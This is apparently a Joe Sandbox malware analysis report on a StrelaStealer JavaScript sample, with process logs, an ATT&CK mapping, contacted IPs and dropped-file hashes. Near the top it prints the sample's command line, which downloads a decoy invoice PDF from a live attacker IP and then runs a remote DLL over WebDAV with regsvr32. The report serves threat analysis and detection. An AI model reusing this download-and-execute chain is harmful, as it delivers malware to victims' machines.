Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2151829461519612017.js	7%	Virustotal		Browse
2151829461519612017.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/tace	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/E	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/tace	net.exe, 00000006.00000002.1841132823.000001BCE1688000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3073335580.0000021D4B000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/E	net.exe, 00000006.00000002.1841231108.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1840537317.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1851256902.0000021D4B312000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1841231108.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1840537317.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1840471855.000001BCE16DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1841330565.000001BCE16E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1841132823.000001BCE1688000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/1	net.exe, 00000006.00000002.1841231108.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1840537317.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1851256902.0000021D4B312000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588649
Start date and time:	2025-01-11 03:40:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2151829461519612017.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 23.209.209.135, 199.232.214.172, 2.23.242.162, 23.200.0.21, 23.200.0.33, 18.213.11.84, 4.175.87.197, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:41:57	API Interceptor	27x Sleep call for process: powershell.exe modified
21:42:01	API Interceptor	1x Sleep call for process: net.exe modified
21:42:02	API Interceptor	2x Sleep call for process: svchost.exe modified
21:42:09	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1525641771920916745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853872402647317272.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073576206030373
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrm:KooCEYhgYEL0In
MD5:	707BBF6DD52A4E3315EC2AA7A3E8B0A0
SHA1:	DA7EFF974F19935D4A800DD1568CE60CA77912A7
SHA-256:	0169F6F6BC45E6B46268A53E0E50BA057759595820DF005EC0C2BB2E6F47E47B
SHA-512:	FD6DA9C2BFD5F1D3A7BAAF71535F3F21C1472D03232E1EC4AF8CFE9A28AEF1695EBBADB87E49EB1405959B850F7E19352A8DF8FA435007E8A26F95AC5B3E28B1
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xca9add05, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221119288994045
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	317398D8DE7F79366917C792813F27B6
SHA1:	D72B3421A58935FB2F692A1920037A2D24CDA9F7
SHA-256:	F1829FF1C56FA1C550041E46A4EBF7FB1B16504DBF495D00D300491363B199AA
SHA-512:	E09006C58FC4422F658EBD305BA0231F54633470B950AB4D4E1C6A189343AAEE52BEA863158E07B4B75D7EA490D810E1ABBB0BAB214F544E250BD2AB6CD978D2
Malicious:	false
Preview:	...... .......A.......X\...;...{......................0.!..........{A.....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................?D ....}..................zH.9.*...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0763391818758852
Encrypted:	false
SSDEEP:	3:T8YeQzFWjn13a/P2wllcVO/lnlZMxZNQl:4zJ53qrOewk
MD5:	A79F868AF72D29EBBA2C6A8AD681A068
SHA1:	4BF7DC6733C6803B73E1DF8C7D428C5EA79999E4
SHA-256:	407586553B19B2ED7D5748C96361AB0156114829C9E15796853F864BC3297F1B
SHA-512:	A454EB7E905EF7ECA9EB1A519D89920573155A0F927296B1FF80E13AB39D0C047D8A7B4F3000A7CD3CAA9D7ED89ABD1B93B96EE08E741F3466AD4670D82E74E2
Malicious:	false
Preview:	I.<;.....................................;...{......}.......{A..............{A......{A..........{A]................zH.9....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.166536253190913
Encrypted:	false
SSDEEP:	6:iO4qrNT1FIq2Pwkn2nKuAl9OmbnIFUtSqrNdJrZmwsqrNdJhkwOwkn2nKuAl9Omt:7ZNxFIvYfHAahFUtXNdB/VNdb5JfHAae
MD5:	BD6A728E5D885D18D143909706658228
SHA1:	98972CB83BBEBC1D1546F1B9B086A9A1AEC0AE34
SHA-256:	5204BF53F884886E5F6A236AF542D268A563FFBFF1029C1944C8C9608A79AFDD
SHA-512:	798F55C1DDACC994A9E3DB497B1BAC0800D479836FA1B2AB24DAB4C788B7C91B216518D9EC8D9A34793D25A96E5DA9A79D675EDF56169ADEF3A44F86B96EEA75
Malicious:	false
Preview:	2025/01/10-21:42:01.956 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:42:01.958 1c04 Recovering log #3.2025/01/10-21:42:01.958 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.166536253190913
Encrypted:	false
SSDEEP:	6:iO4qrNT1FIq2Pwkn2nKuAl9OmbnIFUtSqrNdJrZmwsqrNdJhkwOwkn2nKuAl9Omt:7ZNxFIvYfHAahFUtXNdB/VNdb5JfHAae
MD5:	BD6A728E5D885D18D143909706658228
SHA1:	98972CB83BBEBC1D1546F1B9B086A9A1AEC0AE34
SHA-256:	5204BF53F884886E5F6A236AF542D268A563FFBFF1029C1944C8C9608A79AFDD
SHA-512:	798F55C1DDACC994A9E3DB497B1BAC0800D479836FA1B2AB24DAB4C788B7C91B216518D9EC8D9A34793D25A96E5DA9A79D675EDF56169ADEF3A44F86B96EEA75
Malicious:	false
Preview:	2025/01/10-21:42:01.956 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:42:01.958 1c04 Recovering log #3.2025/01/10-21:42:01.958 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.141000739498189
Encrypted:	false
SSDEEP:	6:iO4qLHN+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqA5Zmwsql8VkwOwkn2nKuAl9Ombzz:79ovYfHAa8uFUtE5/P85JfHAa8RJ
MD5:	9AFE3367CAAC1B76C7FACB50C476B083
SHA1:	0B8F4EB93DBA8354153DAB7AE3D7AE8EA4D0CDF7
SHA-256:	91022FBC8419C9B91E5D1BA8DB8729471108E3EECC83A33CE4E9B6528651E3C7
SHA-512:	5D6CD8FB505D38BA64E2BEE6EC8958829DCD731E43F16D273AE21E0A50A8D11DA84CF046A7E652326224760256636DC00E295FB21ADE2A0C33EC96BAFFE4EC77
Malicious:	false
Preview:	2025/01/10-21:42:02.021 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:42:02.026 1cf8 Recovering log #3.2025/01/10-21:42:02.037 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.141000739498189
Encrypted:	false
SSDEEP:	6:iO4qLHN+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqA5Zmwsql8VkwOwkn2nKuAl9Ombzz:79ovYfHAa8uFUtE5/P85JfHAa8RJ
MD5:	9AFE3367CAAC1B76C7FACB50C476B083
SHA1:	0B8F4EB93DBA8354153DAB7AE3D7AE8EA4D0CDF7
SHA-256:	91022FBC8419C9B91E5D1BA8DB8729471108E3EECC83A33CE4E9B6528651E3C7
SHA-512:	5D6CD8FB505D38BA64E2BEE6EC8958829DCD731E43F16D273AE21E0A50A8D11DA84CF046A7E652326224760256636DC00E295FB21ADE2A0C33EC96BAFFE4EC77
Malicious:	false
Preview:	2025/01/10-21:42:02.021 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:42:02.026 1cf8 Recovering log #3.2025/01/10-21:42:02.037 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\41dd7838-9b66-46fe-8459-3cebe6d537e9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961305759039287
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTEsBdOg2HHZcaq3QYiubInP7E4T3y:Y2sRdsgdMHA3QYhbG7nby
MD5:	F75B45B340C9DA1A6F6CE9D5E709B4BA
SHA1:	741B56C47B25773AC85D51D6553D35CB1030A4E3
SHA-256:	46A0283AD25EA70188C00AF201A8F4B53D4CC781F842DC0FDB8599CA6AE5ECFB
SHA-512:	3C65D3804C9B4A143CEC586595C23AD1C8E80A1D39F1ABFC75681289DCE4659A662D911B9866A6765DCB37FE84753D4D5365D2536E6B62A5F5645766D6C6EC73
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123333365089","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128710},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961305759039287
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTEsBdOg2HHZcaq3QYiubInP7E4T3y:Y2sRdsgdMHA3QYhbG7nby
MD5:	F75B45B340C9DA1A6F6CE9D5E709B4BA
SHA1:	741B56C47B25773AC85D51D6553D35CB1030A4E3
SHA-256:	46A0283AD25EA70188C00AF201A8F4B53D4CC781F842DC0FDB8599CA6AE5ECFB
SHA-512:	3C65D3804C9B4A143CEC586595C23AD1C8E80A1D39F1ABFC75681289DCE4659A662D911B9866A6765DCB37FE84753D4D5365D2536E6B62A5F5645766D6C6EC73
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123333365089","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128710},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.246987503004282
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7qv/o:etJCV4FiN/jTN/2r8Mta02fEhgO73goN
MD5:	77E4D580A85126EA2CEC474D910584D4
SHA1:	6CAF14719400132C459A810C334F4A29B3279B97
SHA-256:	8433315A63177A96213F32D61D0320D0DC9EBF197303A00763A787A71EE134FA
SHA-512:	182D4E3054E50AD3CD88B626734DF9F6AB1E05138E716D0E21FEEC1164E29F2A55F519CC9D4E9F21C09637A337FAA458CFE5B221E46334F398DF607512B8DC35
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.177442007377637
Encrypted:	false
SSDEEP:	6:iO4qjUE3+q2Pwkn2nKuAl9OmbzNMxIFUtSqHZmwsqfVkwOwkn2nKuAl9OmbzNMFd:7KEOvYfHAa8jFUtL/v5JfHAa84J
MD5:	3D4FB55A71CDEAE6430FB528AD88EFB4
SHA1:	E7244D6EA17472603EAFAF1117A8515D8B62B169
SHA-256:	57D39155ADFF56DA4D9011F275FD5AD1433D471BE818F3A8395C70D538DDAA53
SHA-512:	9C49CBF10970876DF963F62361C29594561288D669D4373594A8EC388A32CD7E6642E76269647FC6671EDAA22AF9F24584D3DC72854F8D01E0D3A939ED728796
Malicious:	false
Preview:	2025/01/10-21:42:02.902 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:42:02.939 1cf8 Recovering log #3.2025/01/10-21:42:02.975 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.177442007377637
Encrypted:	false
SSDEEP:	6:iO4qjUE3+q2Pwkn2nKuAl9OmbzNMxIFUtSqHZmwsqfVkwOwkn2nKuAl9OmbzNMFd:7KEOvYfHAa8jFUtL/v5JfHAa84J
MD5:	3D4FB55A71CDEAE6430FB528AD88EFB4
SHA1:	E7244D6EA17472603EAFAF1117A8515D8B62B169
SHA-256:	57D39155ADFF56DA4D9011F275FD5AD1433D471BE818F3A8395C70D538DDAA53
SHA-512:	9C49CBF10970876DF963F62361C29594561288D669D4373594A8EC388A32CD7E6642E76269647FC6671EDAA22AF9F24584D3DC72854F8D01E0D3A939ED728796
Malicious:	false
